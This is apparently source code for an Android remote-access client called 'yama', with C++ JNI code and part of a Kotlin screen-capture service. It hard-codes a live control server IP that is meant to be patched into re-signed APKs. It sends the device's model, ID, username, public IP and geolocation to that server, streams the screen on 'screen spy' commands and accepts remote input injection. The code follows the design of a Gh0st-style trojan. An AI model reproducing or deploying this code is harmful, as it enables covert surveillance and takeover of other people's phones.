if (connected) {
const char* req = "GET /json/?fields=status,query,country,city HTTP/1.0\r\n"
"Host: ip-api.com\r\n"
"Connection: close\r\n\r\n";
send(fd, req, strlen(req), 0);
std::string resp;
char buf[512];
ssize_t n;
while ((n = recv(fd, buf, sizeof(buf), 0)) > 0) resp.append(buf, (size_t)n);
auto sep = resp.find("\r\n\r\n");
if (sep != std::string::npos) {
const std::string body = resp.substr(sep + 4);
if (JsonGetStr(body, "status") == "success") {
out->pubIp = JsonGetStr(body, "query");
std::string city = JsonGetStr(body, "city");
std::string country = JsonGetStr(body, "country");
if (!city.empty() && !country.empty()) out->location = city + ", " + country;
else if (!country.empty()) out->location = country;
else if (!city.empty()) out->location = city;
}
}
}
close(fd);
freeaddrinfo(res);
out->ready.store(true, std::memory_order_release);
}
// getaddrinfo 在某些设备上会永久阻塞,用独立线程 + 5 秒轮询超时保护 ConnectionThread
static bool FetchGeoInfo(std::string& pubIp, std::string& location) {
pubIp.clear(); location.clear();
auto result = std::make_shared<GeoResult>();
std::thread(FetchGeoInfoImpl, result).detach();
for (int i = 0; i < 50 && !result->ready.load(std::memory_order_acquire); i++)
usleep(100000); // 100ms × 50 = 5 秒
if (!result->ready.load(std::memory_order_acquire)) return false;
pubIp = result->pubIp;
location = result->location;
return !pubIp.empty();
}
// 服务端通过 FLAG_GHOST"Hello, World!"定位此变量patch szServerIP/szPort 后重签 APK
// 偏移szServerIP at +32, szPort at +132见 commands.h CONNECT_ADDRESS 定义)
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_ANDROID };
// ---- 全局状态 ----
// CPP-06: g_bExit 是全局变量,跨调用边界不会被编译器缓存进寄存器;
// IOCPClient 构造接受 const State& 持有引用,不能改为 atomic/volatile
// 直接用 StateARM 4 字节对齐写入硬件层面原子,实际安全。
State g_bExit{S_CLIENT_NORMAL};
uint64_t g_myClientID = 0; // sub_conn_thread.h 需要的外部符号
static std::atomic<bool> g_running{false};
static std::atomic<uint64_t> g_lastHeartbeatAckMs{0};
// ---- JNI 反向调用DataProcess → ControlService / CaptureService----
static JavaVM* g_jvm = nullptr;
static jclass g_ctrlClass = nullptr;
static jmethodID g_ctrlMethod = nullptr;
static jmethodID g_getActiveWindowMid = nullptr;
// CaptureService.requestIdr() / forceFirstFrame() — ScreenSpyThread 子连接建立后触发
static jclass g_captureClass = nullptr;
static jmethodID g_requestIdrMid = nullptr;
static jmethodID g_forceFirstFrameMid = nullptr;
static jmethodID g_statusMid = nullptr; // CaptureService.onNativeStatus(String)
static jmethodID g_nativeExitMid = nullptr; // CaptureService.onNativeExit() — 服务端主动断开时停止服务
// 心跳日志限流:每 60 秒最多打一次
static std::atomic<uint64_t> g_lastHbLogMs{0};
static constexpr uint64_t HB_LOG_INTERVAL_MS = 60000;
// 供主连接和子连接共同调用:把 COMMAND_SCREEN_CONTROL 路由到 ControlService.onControlEvent()
// 定义在全局函数区ScreenHandler.h 通过 extern 声明使用。
void DispatchControlEvent(uint32_t msgVal, uint64_t wParam, int32_t ptX, int32_t ptY)
{
if (!g_jvm || !g_ctrlClass || !g_ctrlMethod) {
LOGE("SCREEN_CONTROL: JNI not ready (ctrl=%p method=%p)", g_ctrlClass, g_ctrlMethod);
return;
}
if (msgVal != 0x200u)
LOGI("SCREEN_CONTROL: msg=0x%X pt=(%d,%d)", msgVal, ptX, ptY);
JNIEnv* jenv = nullptr;
bool attached = false;
jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6);
if (st == JNI_EDETACHED) {
// CPP-03 fix: 检查 AttachCurrentThread 返回值,失败时 jenv 仍为 null
if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return;
attached = true;
} else if (st != JNI_OK || !jenv) {
return;
}
jenv->CallStaticVoidMethod(g_ctrlClass, g_ctrlMethod,
(jint)msgVal, (jlong)wParam, (jint)ptX, (jint)ptY);
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
if (attached) g_jvm->DetachCurrentThread();
}
static std::string GetActiveWindowFromJava()
{
if (!g_jvm || !g_ctrlClass || !g_getActiveWindowMid) return "Android";
JNIEnv* jenv = nullptr;
bool attached = false;
jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6);
if (st == JNI_EDETACHED) {
if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return "Android";
attached = true;
} else if (st != JNI_OK || !jenv) {
return "Android";
}
jstring js = (jstring)jenv->CallStaticObjectMethod(g_ctrlClass, g_getActiveWindowMid);
std::string result = "Android";
if (js && !jenv->ExceptionOccurred()) {
const char* c = jenv->GetStringUTFChars(js, nullptr);
if (c) { result = c; jenv->ReleaseStringUTFChars(js, c); }
jenv->DeleteLocalRef(js);
}
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
if (attached) g_jvm->DetachCurrentThread();
return result;
}
// 服务器连接参数
static std::string g_serverIp;
static int g_serverPort = 443;
// 设备信息nativeInit 传入)
static std::string g_androidId;
static std::string g_deviceModel;
static std::string g_androidVersion;
static std::string g_screenRes;
static std::string g_username;
static std::string g_apkPath;
static std::string g_filesDir; // context.filesDir无需权限用于持久化分组名
static void SaveGroupName() {
if (g_filesDir.empty()) return;
std::string path = g_filesDir + "/yama_group";
FILE* f = fopen(path.c_str(), "w");
if (!f) { LOGI("SaveGroupName: cannot open %s", path.c_str()); return; }
fputs(g_SETTINGS.szGroupName, f);
fclose(f);
LOGI("Group saved: %s", g_SETTINGS.szGroupName);
}
static void LoadGroupName() {
if (g_filesDir.empty()) return;
std::string path = g_filesDir + "/yama_group";
FILE* f = fopen(path.c_str(), "r");
if (!f) return;
char buf[24] = {};
if (fgets(buf, sizeof(buf), f)) {
size_t len = strlen(buf);
while (len > 0 && (buf[len - 1] == '\n' || buf[len - 1] == '\r')) buf[--len] = '\0';
if (len > 0) {
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
strncpy(g_SETTINGS.szGroupName, buf, sizeof(g_SETTINGS.szGroupName) - 1);
LOGI("Group loaded from file: %s", buf);
}
}
fclose(f);
}
// 屏幕尺寸Java 侧 MediaCodec 配置后通过 nativeSetScreenSize 设置)
// 初始化为 0ScreenSpyThread 等到非零后再读,避免在 nativeSetScreenSize 之前
// 拿到默认值 1280×720 发给服务端导致 decoder 尺寸错误黑屏。
static std::atomic<int> g_screenWidth{0};
static std::atomic<int> g_screenHeight{0};
// 活跃子连接的 handler 集合(受 g_shMutex 保护);支持多个浏览者/控制者同时连接
static std::set<AndroidScreenHandler*> g_screenHandlers;
static std::mutex g_shMutex;
// ------------------------------------------------------------------ 屏幕子连接线程
// 通过 JNI 调用 CaptureService 的静态方法,复用同一套 attach/detach 模板。
static void CallCaptureStaticVoid(jmethodID mid)
{
if (!g_jvm || !g_captureClass || !mid) return;
JNIEnv* jenv = nullptr;
bool attached = false;
jint st = g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6);
if (st == JNI_EDETACHED) {
if (g_jvm->AttachCurrentThread(&jenv, nullptr) != JNI_OK || !jenv) return;
attached = true;
} else if (st != JNI_OK || !jenv) {
return;
}
jenv->CallStaticVoidMethod(g_captureClass, mid);
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
if (attached) g_jvm->DetachCurrentThread();
}
// 触发编码器输出关键帧setParameters REQUEST_SYNC_FRAME
static void RequestIdrFromJava() { CallCaptureStaticVoid(g_requestIdrMid); }
// 强制 VirtualDisplay 推一帧(静止屏幕绕过 SurfaceFlinger 空闲优化)
static void ForceFirstFrameFromJava() { CallCaptureStaticVoid(g_forceFirstFrameMid); }
// 向 CaptureService.onNativeStatus() 发送状态 Toast连接线程诊断用
static void PostStatus(const char* msg) {
LOGI("STATUS: %s", msg);
#if SCREEN_STATUS_ENABLED
if (!g_jvm || !g_captureClass || !g_statusMid) return;
JNIEnv* jenv = nullptr;
bool attached = false;
if (g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6) == JNI_EDETACHED) {
g_jvm->AttachCurrentThread(&jenv, nullptr);
attached = true;
}
if (jenv) {
jstring js = jenv->NewStringUTF(msg);
if (js) {
jenv->CallStaticVoidMethod(g_captureClass, g_statusMid, js);
jenv->DeleteLocalRef(js);
}
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
}
if (attached) g_jvm->DetachCurrentThread();
#endif
}
static void ScreenSpyThread()
{
// 等待 Java 侧 startCapture() 调用 nativeSetScreenSize 设置真实分辨率。
// 若在此之前读到默认值 0SendBitmapInfo 会发错误尺寸给服务端,
// 导致浏览器 initDecoder 尺寸与 H.264 SPS 不一致 → decode error → 黑屏。
for (int i = 0; i < 100 && g_screenWidth.load() == 0 && g_running.load(); ++i)
Sleep(50); // 最多等 5 秒
int w = g_screenWidth.load();
int h = g_screenHeight.load();
if (w == 0 || h == 0) {
LOGE("ScreenSpyThread: screen size not set after 5s, abort");
return;
}
LOGI("ScreenSpyThread start → %s:%d size=%dx%d", g_serverIp.c_str(), g_serverPort, w, h);
// 服务端只发一次 COMMAND_SCREEN_SPY 就等子连接,子连接失败必须自己重试
for (int attempt = 1; attempt <= 20 && S_CLIENT_NORMAL == g_bExit && g_running.load(); ++attempt) {
// 声明在 try 外部,确保 catch 中 handler 仍有效,可安全从 g_screenHandlers 移除
std::unique_ptr<IOCPClient> client;
std::unique_ptr<AndroidScreenHandler> handler;
try {
LOGI("SST[%d]: creating IOCPClient", attempt);
client = std::make_unique<IOCPClient>(g_bExit, true);
client->EnableSubConnAuth(true, g_myClientID);
LOGI("SST[%d]: connecting %s:%d", attempt, g_serverIp.c_str(), g_serverPort);
if (!client->ConnectServer(g_serverIp.c_str(), g_serverPort)) {
LOGI("ScreenSpyThread: connect failed (attempt %d/20), retry 2s", attempt);
Sleep(2000);
continue;
}
LOGI("SST[%d]: connected, creating handler w=%d h=%d", attempt, w, h);
handler = std::make_unique<AndroidScreenHandler>(client.get(), w, h);
LOGI("SST[%d]: handler created, inserting to set", attempt);
{
std::lock_guard<std::mutex> lk(g_shMutex);
g_screenHandlers.insert(handler.get());
}
LOGI("SST[%d]: setManagerCallBack", attempt);
client->setManagerCallBack(handler.get(),
IOCPManager::DataProcess,
IOCPManager::ReconnectProcess);
LOGI("SST[%d]: SendBitmapInfo", attempt);
handler->SendBitmapInfo();
LOGI("SST[%d]: ForceFirstFrame", attempt);
ForceFirstFrameFromJava();
LOGI("SST[%d]: RequestIdr", attempt);
RequestIdrFromJava();
LOGI("SST[%d]: entering wait loop", attempt);
while (client->IsRunning() && client->IsConnected() && S_CLIENT_NORMAL == g_bExit)
Sleep(200);
client->setManagerCallBack(nullptr, nullptr, nullptr);
{
std::lock_guard<std::mutex> lk(g_shMutex);
g_screenHandlers.erase(handler.get());
}
} catch (const std::exception& e) {
LOGE("ScreenSpyThread exception (attempt %d): %s", attempt, e.what());
// 先清除回调,再析构 handler防止 client 在 handler 析构后仍持有其指针
if (client) client->setManagerCallBack(nullptr, nullptr, nullptr);
if (handler) {
std::lock_guard<std::mutex> lk(g_shMutex);
g_screenHandlers.erase(handler.get());
}
Sleep(2000);
continue;
}
break; // 正常结束,不再重试
}
LOGI("ScreenSpyThread exit");
}
// ------------------------------------------------------------------ DataProcess
int DataProcess(void* /*user*/, PBYTE szBuffer, ULONG ulLength)
{
if (!szBuffer || !ulLength) return TRUE;
int allowed = (int)ClientAuth::IsCommandAllowed(szBuffer[0]);
if (!allowed) {
LOGI("DataProcess cmd=%d len=%lu allowed=%d",
(int)(unsigned char)szBuffer[0], (unsigned long)ulLength, allowed);
return TRUE;
}
switch (szBuffer[0]) {
case COMMAND_BYE:
PostStatus("BYE from server");
g_bExit = S_CLIENT_EXIT;
break;
case CMD_HEARTBEAT_ACK:
if (ulLength >= 1 + (ULONG)sizeof(HeartbeatACK)) {
HeartbeatACK ack;
memcpy(&ack, szBuffer + 1, sizeof(HeartbeatACK));
uint64_t now = GetUnixMs();
g_lastHeartbeatAckMs.store(now, std::memory_order_relaxed);
int64_t rtt = (int64_t)now - (int64_t)ack.Time;
if (ack.ProcessingMs > 0 && (int64_t)ack.ProcessingMs < rtt)
rtt -= ack.ProcessingMs;
g_rttEstimator.update_from_sample((double)rtt);
if (now - g_lastHbLogMs.load(std::memory_order_relaxed) >= HB_LOG_INTERVAL_MS) {
g_lastHbLogMs.store(now, std::memory_order_relaxed);
LOGI("HeartbeatACK RTT=%" PRId64 "ms SRTT=%.1fms", rtt, g_rttEstimator.srtt * 1000.0);
}
}
break;
case CMD_MASTERSETTING: {
MasterSettings settings;
if (ClientAuth::HandleMasterSettings(szBuffer + 1, (int)ulLength - 1, &settings)) {
if (settings.ReportInterval > 0)
g_heartbeatInterval = std::max(settings.ReportInterval, 30);
LOGI("MasterSettings OK interval=%ds (server=%d)", g_heartbeatInterval, settings.ReportInterval);
PostStatus("masterSettings: OK");
} else {
PostStatus("masterSettings: FAIL");
}
break;
}
case COMMAND_SCREEN_SPY: {
// 每个 COMMAND_SCREEN_SPY 对应一个独立子连接,支持多人同时观看/控制
size_t active;
{ std::lock_guard<std::mutex> lk(g_shMutex); active = g_screenHandlers.size(); }
LOGI("cmd: COMMAND_SCREEN_SPY len=%lu active=%zu w=%d h=%d",
(unsigned long)ulLength, active, g_screenWidth.load(), g_screenHeight.load());
std::thread(ScreenSpyThread).detach();
break;
}
case COMMAND_SCREEN_CONTROL: {
if (ulLength < 1 + 48u) { LOGI("SCREEN_CONTROL(main): too short %u", ulLength); break; }
const uint8_t* p = szBuffer + 1;
uint64_t msgVal = 0, wParam = 0, lParam = 0;
memcpy(&msgVal, p + 8, 8);
memcpy(&wParam, p + 16, 8);
memcpy(&lParam, p + 24, 8);
int32_t ptX = (int32_t)(int16_t)(lParam & 0xFFFF);
int32_t ptY = (int32_t)(int16_t)((lParam >> 16) & 0xFFFF);
DispatchControlEvent((uint32_t)msgVal, wParam, ptX, ptY);
break;
}
case CMD_SET_GROUP: {
std::string grp;
if (ulLength > 1) {
grp.assign((const char*)szBuffer + 1, ulLength - 1);
auto z = grp.find('\0');
if (z != std::string::npos) grp.resize(z);
}
{
std::lock_guard<std::mutex> lk(g_shMutex);
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
strncpy(g_SETTINGS.szGroupName, grp.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
}
SaveGroupName();
LOGI("Group changed to: %s", grp.c_str());
break;
}
case COMMAND_SHELL:
LOGI("COMMAND_SHELL (not implemented)");
break;
case COMMAND_SYSTEM:
LOGI("COMMAND_SYSTEM (not implemented)");
break;
default:
LOGI("cmd: unhandled cmd=%d len=%lu", (int)szBuffer[0], (unsigned long)ulLength);
break;
}
return TRUE;
}
// ------------------------------------------------------------------ 网络主线程
static void ConnectionThread()
{
LOGI("ConnectionThread → %s:%d", g_serverIp.c_str(), g_serverPort);
PostStatus("geo: fetching...");
std::string g_pubIp, g_location;
FetchGeoInfo(g_pubIp, g_location);
PostStatus(("geo: " + (g_pubIp.empty() ? "failed" : g_pubIp)).c_str());
LOGIN_INFOR logInfo;
{
std::string pcName = g_deviceModel;
if (g_SETTINGS.szGroupName[0]) { pcName += '/'; pcName += g_SETTINGS.szGroupName; }
strncpy(logInfo.szPCName, pcName.c_str(), sizeof(logInfo.szPCName) - 1);
}
strncpy(logInfo.OsVerInfoEx, g_androidVersion.c_str(), sizeof(logInfo.OsVerInfoEx) - 1);
strncpy(logInfo.szStartTime, ToPekingTimeAsString(nullptr).c_str(), sizeof(logInfo.szStartTime) - 1);
logInfo.dwCPUMHz = GetCpuMHz();
logInfo.bWebCamIsExist = 0;
g_myClientID = XXH64(g_androidId.c_str(), g_androidId.size(), 0);
logInfo.AddReserved("APK");
logInfo.AddReserved(64); // OS bits
logInfo.AddReserved(GetCpuCores()); // CPU 核数
logInfo.AddReserved(GetMemoryGB()); // 内存 GB
logInfo.AddReserved(g_apkPath.empty() ? "/data/app/com.yama.client"
: g_apkPath.c_str()); // 文件路径
logInfo.AddReserved("?");
logInfo.AddReserved(logInfo.szStartTime);
logInfo.AddReserved("?");
logInfo.AddReserved(64); // 程序位数
logInfo.AddReserved("");
logInfo.AddReserved(g_location.c_str()); // [10] 地理位置
logInfo.AddReserved(g_pubIp.c_str()); // [11] 公网 IP
logInfo.AddReserved("v1.0.0");
logInfo.AddReserved(g_username.c_str());
logInfo.AddReserved(0); // IsRunningAsAdmin
logInfo.AddReserved(g_screenRes.c_str());
logInfo.AddReserved(std::to_string(g_myClientID).c_str());
logInfo.AddReserved((int)getpid()); // PID
logInfo.AddReserved(FormatFileSize(GetFileSize(g_apkPath)).c_str()); // 文件大小
ClientAuth::g_loginMsg = std::string(logInfo.szStartTime) + "|" + std::to_string(g_myClientID);
LOGI("ClientID=%" PRIu64, g_myClientID);
std::unique_ptr<IOCPClient> client(new IOCPClient(g_bExit, false));
client->setManagerCallBack(nullptr, DataProcess, nullptr);
int g_connAttempt = 0;
while (S_CLIENT_NORMAL == g_bExit && g_running.load()) {
char connMsg[64];
snprintf(connMsg, sizeof(connMsg), "connect #%d → %s:%d",
++g_connAttempt, g_serverIp.c_str(), g_serverPort);
PostStatus(connMsg);
clock_t c = clock();
if (!client->ConnectServer(g_serverIp.c_str(), g_serverPort)) {
snprintf(connMsg, sizeof(connMsg), "connect #%d failed errno=%d", g_connAttempt, errno);
PostStatus(connMsg);
Sleep(5000);
continue;
}
PostStatus("connected! sending login...");
ClientAuth::OnNewConnection();
{
std::lock_guard<std::mutex> lk(g_shMutex);
std::string pcName = g_deviceModel;
if (g_SETTINGS.szGroupName[0]) { pcName += '/'; pcName += g_SETTINGS.szGroupName; }
strncpy(logInfo.szPCName, pcName.c_str(), sizeof(logInfo.szPCName) - 1);
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
}
client->SendLoginInfo(logInfo.Speed(clock() - c));
g_lastHeartbeatAckMs.store(GetUnixMs(), std::memory_order_relaxed);
LOGI("Connected & login sent");
while (client->IsRunning() && client->IsConnected()
&& S_CLIENT_NORMAL == g_bExit && g_running.load())
{
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
for (int i = 0; i < interval; ++i) {
if (!client->IsRunning() || !client->IsConnected()
|| g_bExit != S_CLIENT_NORMAL || !g_running.load()) {
char dbg[96];
snprintf(dbg, sizeof(dbg), "drop@%ds run=%d conn=%d exit=%d run2=%d",
i, (int)client->IsRunning(), (int)client->IsConnected(),
(int)(g_bExit == S_CLIENT_NORMAL), (int)g_running.load());
PostStatus(dbg);
break;
}
Sleep(1000);
}
if (!client->IsRunning() || !client->IsConnected()
|| g_bExit != S_CLIENT_NORMAL || !g_running.load()) break;
if (ClientAuth::IsTimedOut()) {
PostStatus("timeout: masterSettings");
continue;
}
{
int ackTO = (interval * 3 > 60) ? interval * 3 : 60;
uint64_t last = g_lastHeartbeatAckMs.load(std::memory_order_relaxed);
uint64_t now = GetUnixMs();
if (last > 0 && now > last && now - last > (uint64_t)ackTO * 1000ULL) {
PostStatus("timeout: ACK");
continue;
}
}
Heartbeat hb;
hb.Time = GetUnixMs();
hb.Ping = (int)(g_rttEstimator.srtt * 1000.0);
std::string aw = GetActiveWindowFromJava();
strncpy(hb.ActiveWnd, aw.c_str(), sizeof(hb.ActiveWnd) - 1);
BYTE buf[sizeof(Heartbeat) + 1];
buf[0] = TOKEN_HEARTBEAT;
memcpy(buf + 1, &hb, sizeof(Heartbeat));
client->Send2Server((char*)buf, sizeof(buf));
{
uint64_t now2 = GetUnixMs();
if (now2 - g_lastHbLogMs.load(std::memory_order_relaxed) >= HB_LOG_INTERVAL_MS) {
// ACK 分支会更新 g_lastHbLogMs这里仅在没有 ACK 时兜底打印
LOGI("Heartbeat Ping=%dms", hb.Ping);
}
}
}
PostStatus("disconnected, retry...");
// Give server 2 s to remove old context from HostList; without this
// the immediate reconnect hits "already exists" and server skips SendMasterSettings.
std::this_thread::sleep_for(std::chrono::seconds(2));
}
g_running.store(false);
LOGI("ConnectionThread exit");
if (g_bExit == S_CLIENT_EXIT && g_jvm && g_captureClass && g_nativeExitMid) {
JNIEnv* jenv = nullptr;
bool attached = false;
if (g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6) == JNI_EDETACHED) {
g_jvm->AttachCurrentThread(&jenv, nullptr);
attached = true;
}
if (jenv) {
jenv->CallStaticVoidMethod(g_captureClass, g_nativeExitMid);
if (jenv->ExceptionCheck()) jenv->ExceptionClear();
}
if (attached) g_jvm->DetachCurrentThread();
}
}
// ------------------------------------------------------------------ JNI
extern "C" {
JNIEXPORT jint JNICALL
Java_com_yama_client_YamaBridge_nativeInit(
JNIEnv* env, jobject,
jstring serverIp, jint serverPort,
jstring androidId, jstring deviceModel,
jstring androidVersion, jstring screenRes,
jstring username, jstring apkPath, jstring filesDir)
{
// CPP-01 fix: CAS 原子地完成"检查+设置",消除 check-then-act 竞争
bool expected = false;
if (!g_running.compare_exchange_strong(expected, true)) {
LOGI("already running"); return -1;
}
auto toStr = [&](jstring js) -> std::string {
if (!js) return "";
const char* c = env->GetStringUTFChars(js, nullptr);
std::string s = c ? c : "";
env->ReleaseStringUTFChars(js, c);
return s;
};
g_serverIp = g_SETTINGS.ServerIP();
g_serverPort = g_SETTINGS.ServerPort();
g_androidId = toStr(androidId);
g_deviceModel = toStr(deviceModel);
g_androidVersion = toStr(androidVersion);
g_screenRes = toStr(screenRes);
g_username = toStr(username);
g_apkPath = toStr(apkPath);
g_filesDir = toStr(filesDir);
LoadGroupName(); // 若文件存在则覆盖 g_SETTINGS.szGroupName优先级高于编译时 patch
// 缓存 JVM 和 Class/Method 引用。必须在 Java 线程nativeInit 调用栈)
// 里做 FindClass否则 AttachCurrentThread 的后台线程只有系统 ClassLoader
// 找不到 App 类GetStaticMethodID 拿到 null 导致后续调用崩溃。
if (g_jvm == nullptr) {
if (env->GetJavaVM(&g_jvm) == JNI_OK) {
jclass cls = env->FindClass("com/yama/client/ControlService");
if (cls) {
g_ctrlClass = (jclass)env->NewGlobalRef(cls);
g_ctrlMethod = env->GetStaticMethodID(g_ctrlClass, "onControlEvent", "(IJII)V");
if (!g_ctrlMethod) LOGE("ControlService.onControlEvent not found");
g_getActiveWindowMid = env->GetStaticMethodID(g_ctrlClass, "getActiveWindow", "()Ljava/lang/String;");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_getActiveWindowMid = nullptr; }
if (!g_getActiveWindowMid) LOGE("ControlService.getActiveWindow not found");
} else {
LOGE("ControlService class not found");
}
jclass capCls = env->FindClass("com/yama/client/CaptureService");
if (env->ExceptionCheck()) { env->ExceptionClear(); capCls = nullptr; }
if (capCls) {
g_captureClass = (jclass)env->NewGlobalRef(capCls);
g_requestIdrMid = env->GetStaticMethodID(g_captureClass, "requestIdr", "()V");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_requestIdrMid = nullptr; }
if (!g_requestIdrMid) LOGE("CaptureService.requestIdr not found");
// GetStaticMethodID 找不到方法时会挂起 JNI 异常;必须清除,
// 否则 nativeInit 返回时 Java 层会抛出 NoSuchMethodError 崩溃。
g_forceFirstFrameMid = env->GetStaticMethodID(g_captureClass, "forceFirstFrame", "()V");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_forceFirstFrameMid = nullptr; }
if (!g_forceFirstFrameMid) LOGE("CaptureService.forceFirstFrame not found");
g_statusMid = env->GetStaticMethodID(g_captureClass, "onNativeStatus", "(Ljava/lang/String;)V");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_statusMid = nullptr; }
if (!g_statusMid) LOGE("CaptureService.onNativeStatus not found");
g_nativeExitMid = env->GetStaticMethodID(g_captureClass, "onNativeExit", "()V");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_nativeExitMid = nullptr; }
if (!g_nativeExitMid) LOGE("CaptureService.onNativeExit not found");
UseAndroidLog(PostStatus);
} else {
LOGE("CaptureService class not found");
}
}
}
g_bExit = S_CLIENT_NORMAL;
// g_running 已在 CAS 中设为 true不重复 store
std::thread(ConnectionThread).detach();
LOGI("nativeInit OK server=%s:%d", g_serverIp.c_str(), g_serverPort);
return 0;
}
JNIEXPORT void JNICALL
Java_com_yama_client_YamaBridge_nativeStop(JNIEnv*, jobject)
{
LOGI("nativeStop");
g_bExit = S_CLIENT_EXIT;
g_running.store(false);
}
// 由 CaptureService 在 MediaCodec 配置完成后调用,告知 C++ 侧实际捕获尺寸
JNIEXPORT void JNICALL
Java_com_yama_client_YamaBridge_nativeSetScreenSize(JNIEnv*, jobject, jint width, jint height)
{
g_screenWidth.store(width);
g_screenHeight.store(height);
LOGI("ScreenSize=%dx%d", width, height);
}
// 由 CaptureService 的 MediaCodec.Callback 调用,投递 H.264 NALU
JNIEXPORT void JNICALL
Java_com_yama_client_YamaBridge_nativeOnH264Frame(
JNIEnv* env, jobject,
jbyteArray data, jint offset, jint size, jboolean isKeyframe)
{
// CPP-04 fix: 验证 offset/size 边界,防止越界读写导致崩溃
if (!data || offset < 0 || size <= 0) return;
jsize arrLen = env->GetArrayLength(data);
if ((jlong)offset + size > arrLen) {
LOGE("nativeOnH264Frame: bounds violation offset=%d size=%d arrLen=%d", offset, size, arrLen);
return;
}
jbyte* buf = env->GetByteArrayElements(data, nullptr);
if (!buf) return;
{
std::lock_guard<std::mutex> lk(g_shMutex);
for (auto* h : g_screenHandlers)
h->OnFrameData((const uint8_t*)buf + offset, (uint32_t)size, (bool)isKeyframe);
}
env->ReleaseByteArrayElements(data, buf, JNI_ABORT);
}
} // extern "C"

View File

@@ -0,0 +1,409 @@
package com.yama.client
import android.app.Notification
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.Service
import android.content.Intent
import android.hardware.display.DisplayManager
import android.hardware.display.VirtualDisplay
import android.media.MediaCodec
import android.media.MediaCodecInfo
import android.media.MediaFormat
import android.media.projection.MediaProjection
import android.media.projection.MediaProjectionManager
import android.os.Build
import android.os.Bundle
import android.os.Handler
import android.os.IBinder
import android.os.Looper
import android.provider.Settings
import android.util.DisplayMetrics
import android.util.Log
import android.view.WindowManager
import android.widget.Toast
class CaptureService : Service() {
companion object {
const val TAG = "YAMA"
const val CHANNEL_ID = "yama_service"
const val NOTIF_ID = 1
const val EXTRA_SERVER_IP = "server_ip"
const val EXTRA_SERVER_PORT = "server_port"
const val EXTRA_PROJECTION_RESULT = "projection_result"
const val EXTRA_PROJECTION_DATA = "projection_data"
private const val MAX_LONG_SIDE = 1080
// CS-01 fix: 通过 idrHandler.post 序列化到主线程,避免 TOCTOU 竞争
@Volatile var instance: CaptureService? = null
@JvmStatic
fun onNativeStatus(msg: String) {
val svc = instance ?: return
svc.idrHandler.post {
Toast.makeText(svc, msg, Toast.LENGTH_LONG).show()
}
}
@JvmStatic
fun onNativeExit() {
val svc = instance ?: return
Log.i(TAG, "onNativeExit: server requested disconnect, stopping service")
svc.idrHandler.post { svc.stopSelf() }
}
@JvmStatic
fun requestIdr() {
val svc = instance ?: return
svc.idrHandler.post {
runCatching {
val p = Bundle()
p.putInt(MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME, 0)
svc.mediaCodec?.setParameters(p)
}
}
}
/**
* 静止屏幕黑屏修复SurfaceFlinger 在无脏区时不向 VirtualDisplay 推帧,
* 导致编码器无输入REQUEST_SYNC_FRAME 悬空排队,浏览器等 10-60 秒才见画面。
* 解决方法:将 VirtualDisplay 宽度临时改变 2px触发一次强制合成
* 编码器随即得到输入帧并消费已排队的 IDR 请求。150ms 后恢复原始尺寸。
*/
@JvmStatic
fun forceFirstFrame() {
val svc = instance ?: return
svc.idrHandler.post {
runCatching {
val vd = svc.virtualDisplay ?: return@runCatching
val w = ControlService.encW
val h = ControlService.encH
val dpi = svc.resources.displayMetrics.densityDpi
Log.d(TAG, "forceFirstFrame: resize ${w}x${h}${w+2}x${h} to trigger composition")
vd.resize(w + 2, h, dpi)
svc.idrHandler.postDelayed({
runCatching { vd.resize(w, h, dpi) }
Log.d(TAG, "forceFirstFrame: restored ${w}x${h}")
}, 150)
}
}
}
}
private var mediaProjection: MediaProjection? = null
private var virtualDisplay: VirtualDisplay? = null
private var mediaCodec: MediaCodec? = null
private val idrHandler = Handler(Looper.getMainLooper())
// CS-04 fix: runCatching 包住 setParameters防止 codec 已停止时抛异常
private val idrRunnable = object : Runnable {
override fun run() {
runCatching {
val p = Bundle()
p.putInt(MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME, 0)
mediaCodec?.setParameters(p)
}
idrHandler.postDelayed(this, 1000)
}
}
override fun onBind(intent: Intent?): IBinder? = null
override fun onCreate() {
super.onCreate()
instance = this
createNotificationChannel()
// CS-06: start with DATA_SYNC type only; upgrade to MEDIA_PROJECTION in
// onStartCommand when the token is actually available. On Android 14+
// (targetSdk 34+) calling startForeground(MEDIA_PROJECTION) without
// immediately pairing it with getMediaProjection() causes the system to
// kill the service after a ~5-second grace period — the root cause of the
// 3-9 s disconnect seen on Google TV when no screen-capture permission
// was granted.
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
startForeground(NOTIF_ID, buildNotification(),
android.content.pm.ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC)
} else {
startForeground(NOTIF_ID, buildNotification())
}
}
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
// CS-03 fix: START_STICKY 重启时 intent 为 null必须在最前面检查
if (intent == null) return START_NOT_STICKY
val ip = intent.getStringExtra(EXTRA_SERVER_IP) ?: return START_NOT_STICKY
val port = intent.getIntExtra(EXTRA_SERVER_PORT, 443)
val androidId = Settings.Secure.getString(contentResolver, Settings.Secure.ANDROID_ID) ?: ""
val model = "${Build.MANUFACTURER} ${Build.MODEL}"
